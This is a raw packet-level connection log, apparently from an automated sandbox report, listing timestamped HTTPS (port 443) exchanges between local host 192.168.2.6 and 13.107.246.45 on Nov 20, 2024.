Nov 20, 2024 00:19:34.761562109 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.773591042 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.773659945 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.773709059 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.773833036 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.773844004 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.773858070 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.773864031 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.778326035 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.778353930 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.778439045 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.778649092 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.778672934 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.035530090 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.035976887 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.036060095 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.036638021 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.036658049 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.160259962 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.160286903 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.160335064 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.160341024 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.160403967 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.161935091 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.161935091 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.161977053 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.162003994 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.174201965 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.174227953 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.174285889 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.174825907 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.174839973 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.353180885 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.363349915 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.363384008 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.363905907 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.363917112 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.397912979 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.423593998 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.424168110 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.437400103 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.461626053 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.461649895 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.461730003 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.461750984 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.461848021 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.462138891 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.468395948 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.507498026 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.666910887 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.666944027 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.667623997 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.667635918 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.670953035 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.670998096 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.685513973 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.685527086 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.685801983 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.685816050 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.686186075 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.686192036 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.691885948 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.691910982 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.691936970 CET	49930	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.691948891 CET	443	49930	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.725455046 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.725500107 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.725749969 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.725869894 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.725888014 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.765990973 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.766266108 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.766350031 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.766675949 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.766694069 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.766756058 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.766773939 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.769212961 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.769278049 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.769505024 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.769850969 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.769884109 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.788856983 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.789215088 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.789423943 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.789535999 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.789546967 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.789556980 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.789561987 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.790348053 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.790410042 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.790923119 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.791132927 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.791152954 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.791300058 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.791331053 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.794629097 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.794702053 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.794905901 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.795110941 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.795131922 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.797503948 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.797513008 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.797672987 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.797871113 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.797880888 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.867132902 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.868181944 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.868201017 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.868920088 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.868925095 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.974721909 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.974793911 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.974987030 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.975008965 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.975146055 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.977319956 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.977334023 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.977658033 CET	49931	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.977663994 CET	443	49931	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.983164072 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.983175993 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:35.983375072 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.983580112 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:35.983589888 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.411524057 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.413027048 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.413078070 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.413566113 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.413578987 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.452950001 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.455189943 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.455214024 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.455780983 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.455789089 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.470499992 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.473162889 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.474240065 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.474287033 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.475016117 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.475030899 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.475884914 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.475903034 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.477226019 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.477231979 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.525868893 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.525898933 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.525944948 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.526005030 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.527460098 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.527493954 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.527520895 CET	49937	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.527538061 CET	443	49937	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.554667950 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.554701090 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.554891109 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.556452036 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.559267044 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.559339046 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.563308954 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.563329935 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.563889980 CET	49942	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.563903093 CET	443	49942	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.573904037 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.573973894 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.574095011 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.574429989 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.574456930 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.578856945 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.578955889 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.579036951 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.579077959 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.579183102 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.579386950 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.580657959 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.580715895 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.580715895 CET	49941	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.580748081 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.580771923 CET	443	49941	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.580944061 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.580990076 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.581269979 CET	49940	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.581279993 CET	443	49940	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.591243982 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.591279030 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.591336012 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.591512918 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.591526985 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.604480028 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.604515076 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.604696035 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.611535072 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.611565113 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.656189919 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.659862995 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.659877062 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.660564899 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.660569906 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760404110 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760426044 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760484934 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.760493994 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760607004 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760665894 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.760869026 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.760874033 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.760885000 CET	49944	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.760890007 CET	443	49944	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.768512011 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.768524885 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:36.768606901 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.768723011 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:36.768732071 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.218941927 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.226037025 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.226063013 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.227349997 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.227356911 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.233897924 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.234226942 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.234251022 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.234874964 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.234879971 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.258251905 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.279155016 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.279170036 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.279983997 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.279989958 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.282172918 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.282816887 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.282835007 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.283305883 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.283320904 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.336291075 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.338242054 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.338293076 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.338354111 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.338381052 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.338994026 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.339020967 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.339061022 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.339085102 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.339106083 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.379669905 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.379945040 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.379995108 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.386075020 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.386301041 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.386353016 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.428508997 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.551517010 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.551532984 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.552078009 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.552082062 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.552362919 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.552362919 CET	49947	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.552391052 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.552405119 CET	443	49947	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.552464962 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.552486897 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.552501917 CET	49950	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.552510977 CET	443	49950	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.555639029 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.555645943 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.555660963 CET	49948	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.555665016 CET	443	49948	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.581662893 CET	49949	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.581672907 CET	443	49949	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.651853085 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.651922941 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.652025938 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.663710117 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.663734913 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.663819075 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.668101072 CET	49951	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.668112993 CET	443	49951	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.674305916 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.674319029 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.678678989 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.678726912 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.678793907 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.680531979 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.680552959 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.680639029 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.680762053 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.680778027 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.681025982 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.681066990 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.709419966 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.709511042 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.709598064 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.709845066 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.709882021 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.710663080 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.710685015 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:37.710745096 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.711266041 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:37.711278915 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.331903934 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.355865002 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.355901003 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.368016005 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.369096994 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.384124994 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.384130955 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.391885042 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.406454086 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.406497955 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.407704115 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.407715082 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.409185886 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.409219980 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.410063028 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.410068989 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.410624981 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.410671949 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.411758900 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.411773920 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.417685986 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.418402910 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.418423891 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.420306921 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.420314074 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.482760906 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.482790947 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.482841015 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.482842922 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.482884884 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.496882915 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.496892929 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.496916056 CET	49952	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.496920109 CET	443	49952	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.506105900 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.506160975 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.506218910 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.506220102 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.506282091 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.508194923 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.508223057 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.508244038 CET	49957	443	192.168.2.6	13.107.246.45
